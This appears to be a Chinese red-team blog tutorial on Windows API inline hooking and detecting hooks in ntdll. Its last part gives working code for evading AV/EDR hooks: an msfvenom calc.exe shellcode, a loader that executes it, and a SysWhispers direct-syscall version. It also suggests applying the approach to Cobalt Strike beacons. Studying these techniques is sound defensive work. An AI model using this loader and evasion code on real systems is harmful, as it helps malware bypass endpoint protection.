浅析Window API Hook的原理与应用

admin 2023年1月9日21:32:54评论44 views字数 15616阅读52分3秒阅读模式

0x0 前言

  研究这个技术一开始主要是为了免杀的需要,后面我发现其实可以学到更多的东西,所以简单记录一下。

0x1 什么是Window API?

正如Windows API维基所描述:

Windows操作系统应用程序接口(Windows API),有非正式的简称法为WinAPI,是微软对于Windows操作系统中可用的核心应用程序编程接口的称法。它被设计为各种语言的程序调用,也是应用软件与Windows系统最直接的交互方式。大多数驱动程序需要对Windows系统更底层次访问接口,由所用版本的Windows的Native API来提供接口。

可能这样还是有些难理解,我们可以分解这个概念来理解:

1.API是什么?

全称:Application Programming Interface;应用程序接口

通过接口,我们无须自编一些底层调用的具体实现,直接通过接口来调用。

2.什么是Windows API

Windows是Windows系统,也是一个应用程序,Windows 提供了不同的服务,这些服务通过一些特定的方式进行调用、使用;这些服务可能是 开启一个窗口、打开一个应用程序、通过一个方法设置系统的休眠时间等;这些不同的服务,做成了接口的方式使用

简而言之,Windows API的作用就是调用WIndows提供的服务。

0x2 Window API的基本用法

由上面所知,window api作用类似是一个个功能函数。

关于Windows API的用法和种类,可以查阅:Windows API 文档

这里我以MessageBox为经典的例子,实践下如何使用Window API

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关于这个函数的定义和用法:MessageBox function (winuser.h)

可以先看下Requirements:

windows2000以上、目标是Windows平台、需要包含winuser.h的头文件,User32.lib,User32.dll库函数。

MessageBox函数说明:

int MessageBox(
HWND hWnd,
LPCTSTR lpText,
LPCTSTR lpCaption,
UINT uType
);

参数说明:

hWnd

类型: HWND

要创建的信息框的所有者窗口的句柄,如果此参数为NULL,则该信息框没有所有者窗口。

关于这个参数,主要用于我们操纵指定的窗口句柄来实现MessageBox操作。

lPText:

类型:LPCTSTR

LPCTSTR就表示一个指向const对象的指针

要显示的消息。如果字符串包含多行,则可以在每行之间使用回车符和/或换行符来分隔行。

lpCaption

类型:LPCTSTR

对话框标题,如果此参数为NULL,则默认标题为Error。

uType

类型:UINT

对话框的内容和行为,此参数可以用来控制窗口的样式(按钮、显示图标),这个可以自己对着文档来组合看看

return:

类型:int

这个返回值我们可以获取到用户与该窗口进行交互的结果,比如取消的时候会返回2等,用以后续判断。


这里我们用visual stdio新建一个c++的项目,来学习下如何使用该API:

HookTest.cpp

#include <windows.h>
#include <iostream>
using namespace std;
int main()
{
int rtCode = MessageBox(NULL, (LPCWSTR)L"内存地址越界,程序已经被终止!", (LPCWSTR)L"程序出现了错误", MB_ICONASTERISK| MB_OKCANCEL);
cout << rtCode << endl;
switch (rtCode) {
case 1:
cout << "选择了确定按钮!" << endl;
break;
case 2:
cout << "选择了取消按钮!" << endl;
break;
default:
cout << "其他操作!" << endl;
}

return 0;
}

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一般推荐直接使用windows.h头文件,避免出现一些其他的问题,windows.h包括了其他的window头文件

0x3 分析Win API的调用过程

下面例子采用了x64dbg,Download

点击菜单栏的运行到用户代码,然后逐步调试,找到main函数

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直接跟进去:

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这里向寄存器传入变量,然后开始调用MessageBoxW,跟进

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跟进MessageBoxTimeoutw,现在就进入了user32.dll的模块了,继续向下跟

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最后在ntdll,进行了触发

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调用栈如下:

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0x4 Windows API Hooking

了解了Win API的调用过程之后,我们可以来学习hook(挂钩)的技术。

API Hooking是一种我们可以检测和修改API调用的行为和流程的技术。

流程图大致如下:

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那么这种技术的实现原理是什么呢?

hook的技术可能有非常多种,笔者这里先以x86环境下的inline hook技术作为讲解,帮助萌新入门。

这里针对理解这个,笔者比较喜欢先run成功再debug分析原理。

0x4.1 实现hook MessageBoxA

选择x86的方式编译,x64的话会失败。

#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
char messageBoxOriginalBytes[6] = {};

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked functionn";
std::cout << "Text: " << (LPCSTR)lpText << "nCaption: " << (LPCSTR)lpCaption << std::endl;

// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);

// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
// show messagebox before hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);

HINSTANCE library = LoadLibraryA("user32.dll");
SIZE_T bytesRead = 0;

// get address of the MessageBox function in memory
messageBoxAddress = GetProcAddress(library, "MessageBoxA");

// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);

// create a patch "push <address of new MessageBoxA); ret"
void *hookedMessageBoxAddress = &HookedMessageBox;
char patch[6] = { 0 };
memcpy_s(patch, 1, "x68", 1);
memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
memcpy_s(patch + 5, 1, "xC3", 1);

// patch the MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);

// show messagebox after hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);

return 0;
}

这里代码中第一次没hook,正常调用原始的,然后经过hook自身线程之后,在调用就会被hook,从而进入我们自定义的执行逻辑:

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0x4.2 分析Hook的原理

程序首先使用LoadLibrary加载模块(user32.dll),然后返回句柄。

HINSTANCE library = LoadLibraryA("user32.dll");

接着使用GetProcAddress获取模块dll指定导出函数的地址

messageBoxAddress = GetProcAddress(library, "MessageBoxA");

接着调用ReadProcessMemory读取当前进程的内存空间中MessageBoxA函数的开头前6个字节存在于messageBoxOriginalBytes字节数组。

ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, messageBoxOriginalBytes, 6, &bytesRead);

接着在这里就是实现patch内存空间,修改执行流程的操作了,这里直接打一个断点debug

这里先用patch字节数组存储了一些指令,具体是什么debug看就行了,其实也很简单就是jmp hookedMessageBoxAddress

// create a patch "push <address of new MessageBoxA); ret"
void *hookedMessageBoxAddress = &HookedMessageBox;
char patch[6] = { 0 };
memcpy_s(patch, 1, "x68", 1);
memcpy_s(patch + 1, 4, &hookedMessageBoxAddress, 4);
memcpy_s(patch + 5, 1, "xC3", 1);

写好patch数组,之后开始修改进程的内存空间,修改指令。

WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, patch, sizeof(patch), &bytesWritten);

主要是修改(patch)了messageBoxA这个导出函数在内存位置的前6个字节为我们定义的指令,至于是啥没关系,我们存储下来,后面再unpatch回来即可了。

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patch之后呢?

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通过将hookedMessageBoxAddress的地址压入了栈顶,然后ret,其实本质就是pop eip, jmp eip

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x68就是push,xc3就是ret,然后32位的程序,地址刚好4字节,patch数组的构造原理就是这样。

然后我们重新调用,hook的MessageBoxA(NULL, "hi", "hi", MB_OK);,就会进入HookedMessageBox

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked functionn";
std::cout << "Text: " << (LPCSTR)lpText << "nCaption: " << (LPCSTR)lpCaption << std::endl;

// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, messageBoxOriginalBytes, sizeof(messageBoxOriginalBytes), &bytesWritten);

// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}

这个就很简单了,执行hook想要执行的操作,然后unhook,然后正常调用就行了。

这种劫持方法,可以说真的蛮简洁的,也非常易懂,比较暴力,没有过多的计算。

0x4.2 探讨32位和64位的区别

当时我尝试编译的64位来执行的时候,失败了,踩了一些小坑。

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可以看到,在执行到patch的代码时候出现了错误。

第一步,因为内存字单元长度不一样,所以我调试了下地址:

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不过还是失败了,这里我跟进去看看。

patch之前是这样:

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patch之后是这样:

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很明显就不对嘛,出现这个错误,其实还是因为我pwn知识都快忘光了,哎。

后面考虑到应该是字符串memcopy_s的问题,导致00会截断,这里直接采取BYTE类型就好了。

64位 hook 代码如下:

#include <iostream>
#include <Windows.h>

FARPROC messageBoxAddress = NULL;
SIZE_T bytesWritten = 0;
BYTE OldCode[12] = { 0x00 };
BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xFF, 0xE0 };

int __stdcall HookedMessageBox(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {

// print intercepted values from the MessageBoxA function
std::cout << "Ohai from the hooked functionn";
std::cout << "Text: " << (LPCSTR)lpText << "nCaption: " << (LPCSTR)lpCaption << std::endl;

// unpatch MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, OldCode, sizeof(OldCode), &bytesWritten);

// call the original MessageBoxA
return MessageBoxA(NULL, lpText, lpCaption, uType);
}

int main()
{
// show messagebox before hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);

HINSTANCE library = LoadLibraryA("user32.dll");
SIZE_T bytesRead = 0;

// get address of the MessageBox function in memory
messageBoxAddress = GetProcAddress(library, "MessageBoxA");

// save the first 6 bytes of the original MessageBoxA function - will need for unhooking
ReadProcessMemory(GetCurrentProcess(), messageBoxAddress, OldCode, 12, &bytesRead);

// create a patch "push <address of new MessageBoxA); ret"
void *hookedMessageBoxAddress = &HookedMessageBox;
*(PINT64)(HookCode + 2) = (UINT64)HookedMessageBox;
// patch the MessageBoxA
WriteProcessMemory(GetCurrentProcess(), (LPVOID)messageBoxAddress, HookCode, sizeof(HookCode), &bytesWritten);

// show messagebox after hooking
MessageBoxA(NULL, "hi", "hi", MB_OK);

return 0;
}

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这个时候就对了。

效果如下:

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当然跳转方式很多:

BYTE HookCode[12] = { 0x48, 0xB8, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x50, 0xc3 };

这样也是ok的。


简单概括下两者的区别:

其实主要是还是32位和64位中地址空间的高低位问题,导致rip出现越界错误导致的,自己跟着调一下即可了。

0x5 检测hook的原理和实现

通过上面的学习,我们已经知道了如何去hook API,那么假如现在一些edr 全局hook了某些API,那么我们可不可以调用之前察觉呢?答案是可以,下面我们简单分析下这个技术。

这里我们先以一个demo检测程序,看看一些杀软是不是喜欢这样干。

C:Usersxq17Desktop新建文件夹HookTest.exe | find /i "createthread" /c

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我发现就算关掉了一些安全进程好像也没啥变化?

然后在新的环境也没有啥变化,一般就是974个,emmm,感觉他们hook的技巧应该是没办法通过这种检测的,这些hook可能是系统一些默认操作吧,没怎么进行研究,希望师傅们可以指点我这个小萌新。

程序检测的代码如下:

#include <iostream>
#include <Windows.h>

int main()
{
PDWORD functionAddress = (PDWORD)0;

// Get ntdll base address
HMODULE libraryBase = LoadLibraryA("ntdll");

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);

// Locate export address table
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);

// Offsets to list of exported functions and their names
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);

// Iterate through exported functions of ntdll
for (DWORD i = 0; i < imageExportDirectory->NumberOfNames; i++)
{
// Resolve exported function name
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;

// Resolve exported function address
DWORD_PTR functionAddressRVA = 0;
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);

// Syscall stubs start with these bytes
char syscallPrologue[4] = { 0x4c, 0x8b, 0xd1, 0xb8 };

// Only interested in Nt|Zw functions
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0)
{
// Check if the first 4 instructions of the exported function are the same as the sycall's prologue
if (memcmp(functionAddress, syscallPrologue, 4) != 0) {
printf("Potentially hooked: %s : %pn", functionName, functionAddress);
}
}
}

return 0;
}

因为ntdll基本是用户层和内核层的最后一个中转站了,所以这里主要是通过检测ntdll的各个导出函数,这些函数微软也是没有官方文档的,毕竟不是给程序员用的。

这个程序实现的原理其实很简单。

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找到路径:C:WindowsSystem32ntdll.dll

我们直接使用ida加载ntdll.dll,Export 处设置下过滤规则Nt,Zw

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然后我们随便选一个函数NtWriteFile来查看下

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可以看到他们开头大都是这个字节序列:4c 8b d1 b8

然后如果被hook的话,这个字节就会被改成e9也就是jump,mov之类的就会发生改变,所以就可以通过检测这4个字节来判断是否被hook。

有一些函数是比较特殊的,所以存在误报:

NtGetTickCount
NtQuerySystemTime
NtdllDefWindowProc_A
NtdllDefWindowProc_W
NtdllDialogWndProc_A
NtdllDialogWndProc_W
ZwQuerySystemTime

...

很多检测hook的手段,比如直接匹配e9之类的,我个人觉得这类手法没很大用,纯粹拿来学习吧。

0x6 躲避AV/EDR的hook

关于用户层的hook,我们可以直接调用syscall来进行绕过,这种手段直接有效,没有很多花里胡哨的。

当然也有很多其他手法unhook之类的...,这里举最简单的syscall例子帮助跟我一样的小萌新学习吧。

0x6.1 简述原理

浅析Window API Hook的原理与应用

用户级一般在SYSCALL之前进行hook ntdll.dll,那么我们直接调用SYSCALL就可以绕过了,关于内核级别,后面再继续慢慢研究吧。

其实用户层API的只是类似个接口作用而已,有一张对应的表,根据number去调用底层具体实现逻辑。

0x6.2 syscall directly

我们先用msfvenom获取一段64位弹出cmd的shellcode:

msfvenom -p windows/x64/exec -f c CMD=calc.exe -a x64

unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";

然后我们用c++写一个简单的加载器:

1.vs新建个Loadershell的控制台项目

2.有很多种方式加载shellcode,Shellcode注入进程内存及调用

这里直接丢我写的demo

#include <iostream>
#include <Windows.h>
using namespace std;

unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";
unsigned int buf_len = sizeof(buf);


int main()
{
cout << buf_len << endl;
DWORD oldprotect = 0;
LPVOID base_addr = NULL;
// 申请一块buf_len长度大小的空间,RW权限,不要开rwx,PAGE_EXECUTE_READWRITE
base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 复制shellcode到新的空间,这个函数比较罕见,用memcpy也可以呀
RtlMoveMemory(base_addr, buf, buf_len);
// 修改为执行RX权限
VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
cout << "starting spawn shellcode" << endl;
// 当前进程创建线程执行shellcode
auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
// 等待线程返回值
WaitForSingleObject(ct, -1);
// 释放内存
free(base_addr);
}

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3.整理出加载器调用的API

VirtualAlloc, VirtualProtect, CreateThread, RtlMoveMemory

基本都会被AV重点hook住,毕竟像VirtualAlloc这种就类似黑名单了。


下面开始就是重点内容:

为了简化我们的工作,我们需要使用到SysWhispers这个小工具。

> git clone https://github.com/jthuraisamy/SysWhispers.git
> cd SysWhispers
> pip3 install -r .requirements.txt
> py .syswhispers.py --help

我们通过debug分别找到调用API的Nt函数名:

NtCreateThreadEx,NtProtectVirtualMemory,NtAllocateVirtualMemory

RtlMoveMemory调用的是memmove,然后没有找到这个函数,没跟到syscall。

SysWhispers: Why call the kernel when you can whisper?

WARNING: Invalid function name provided.
ERROR: No compatible functions found. Exiting...

然后执行

python3 Syswhispers.py -f NtCreateThreadEx,NtProtectVirtualMemory,NtAllocateVirtualMemory -o  syscall

得到头文件和asm文件:

Complete! Files written to:
syscall.asm 汇编代码
syscall.h 文件头

然后将这两个文件分别添加进去加载器的项目中,然后开启masm。

浅析Window API Hook的原理与应用

然后将汇编syscall.asm添加进源码即可。

关于Nt函数怎么使用可以参考:

Home NTAPI Undocumented Functions

只要参数不要出现类型之类的错误就好了。

最后我们修改下整体的代码逻辑如下:

#include <iostream>
#include "syscall.h"


using namespace std;

unsigned char buf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52"
"x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48"
"x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9"
"x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41"
"x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48"
"x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01"
"xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48"
"xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0"
"xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4c"
"x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0"
"x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04"
"x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59"
"x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48"
"x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6f"
"x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff"
"xd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbb"
"x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c"
"x63x2ex65x78x65x00";
unsigned int buf_len = sizeof(buf);


int main()
{
cout << buf_len << endl;
DWORD oldprotect = 0;
LPVOID base_addr = NULL;
HANDLE handle = NULL;
HANDLE hProc = GetCurrentProcess();
// 申请一块buf_len长度大小的空间,RW权限,不要开rwx,PAGE_EXECUTE_READWRITE trick好吧
//base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// syscall directly
NTSTATUS NTAVM = NtAllocateVirtualMemory(hProc, &base_addr, 0, (PSIZE_T)&buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 复制shellcode到新的空间,这个函数比较罕见,用memcpy也可以呀
RtlMoveMemory(base_addr, buf, buf_len);
// 修改为执行RX权限
//VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect);
// syscall directly
NTSTATUS NTPVM = NtProtectVirtualMemory(hProc, &base_addr, (PSIZE_T)&buf_len, PAGE_EXECUTE_READ, &oldprotect);
cout << "starting spawn shellcode" << endl;
// 当前进程创建线程执行shellcode
//auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0);
// syscall directly
NTSTATUS ct = NtCreateThreadEx(&handle, GENERIC_EXECUTE, NULL, hProc, base_addr, NULL, FALSE, 0, 0, 0, NULL);
// 等待线程返回值
WaitForSingleObject(handle, 0);
// 释放内存
free(base_addr);
}

一样可以成功编译和执行,效果如下:

浅析Window API Hook的原理与应用

0x7 一些想法

  其实这个思想是可以应用到cs上面去的,而且能很好躲避对cs的针对性检测,还有就是主流杀软的触发点绕过,反正有非常多的玩法,组合下即可,不适宜过度的展开,各位师傅们可以自己捣鼓玩玩。针对卡巴斯基这类的话,就是针对beacon.dll的查杀,其实CS也提供了一些配置文件,魔改一些代码,或者patch的方式,基本能实现自定义,有空再谈谈吧,毕竟也不是什么很有价值的东西,很多人其实都懂的,体力活而已。

0x8 总结

  因为自己也是第一次研究这个,可能文章有不少纰漏,希望师傅们可以多多拍砖指点,也欢迎师傅们能与我交流更多的思路和一些比较有趣的实现方式吧。

https://xz.aliyun.com/t/9166

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浅析Window API Hook的原理与应用


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浅析Window API Hook的原理与应用


原文始发于微信公众号(红队蓝军):浅析Window API Hook的原理与应用

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admin
  • 本文由 发表于 2023年1月9日21:32:54
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                   浅析Window API Hook的原理与应用http://cn-sec.com/archives/1507319.html

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